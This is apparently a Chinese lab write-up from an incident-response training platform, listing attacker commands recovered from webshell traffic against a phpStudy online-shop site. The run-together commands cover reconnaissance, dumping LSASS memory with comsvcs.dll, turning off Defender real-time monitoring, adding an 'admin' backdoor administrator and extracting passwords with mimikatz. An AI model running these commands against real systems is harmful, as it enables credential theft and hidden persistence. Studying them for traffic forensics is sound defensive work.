【玄机-应急平台】第六章 流量特征分析-蚂蚁爱上树

C:/phpStudy/PHPTutorial/WWW/onlineshop/database/onlineshop.sqlcd /d “C:/phpStudy/PHPTutorial/WWW/onlineshop”&ls&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&dir&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&whoami&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&whoami /priv&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&systeminfo&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&dir c:&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&dir c:temp&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&net user&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&net localgroup administrators&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&net group “domain group” /domain&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&net group “domain admins” /domain&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&net view&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&net share&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&rundll32.exe comsvcs.dll, MiniDump 852 C:TempOnlineShopBackup.zip full&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&dir c:temp&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&ls&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&dir&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&copy store.php c:temp&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&dir c:temp&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&powershell -ep bypass Set-Mppreference -DisableRaltimeMonitoring $true&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&rundll32.exe comsvcs.dll, MiniDump 852 C:tempOnlineShopBackup.zip full&echo [S]&cd&echo [E]C:/Temp/OnlineShopBack.zipcd /d “C:/phpStudy/PHPTutorial/WWW/onlineshop”&dir c:windowssystem32&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&dir c:windowsconfig&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&net user&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&net user admin Password1 /add&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&net localgroup administrators admin /add&echo [S]&cd&echo [E]cd /d “C:phpStudyPHPTutorialWWWonlineshop”&whoami /all&echo [S]&cd&echo [E]#第二题编码列出来好找：##ilY2QgL2QgIkM6XFxwaHBTdHVkeVxcUEhQVHV0b3JpYWxcXFdXV1xcb25saW5lc2hvcCImbmV0IHVzZXIgYWRtaW4gUGFzc3dvcmQxIC9hZGQmZWNobyBbU10mY2QmZWNobyBbRV0="

sekurlsa::minidump 1.dmpsekurlsa::logonpasswords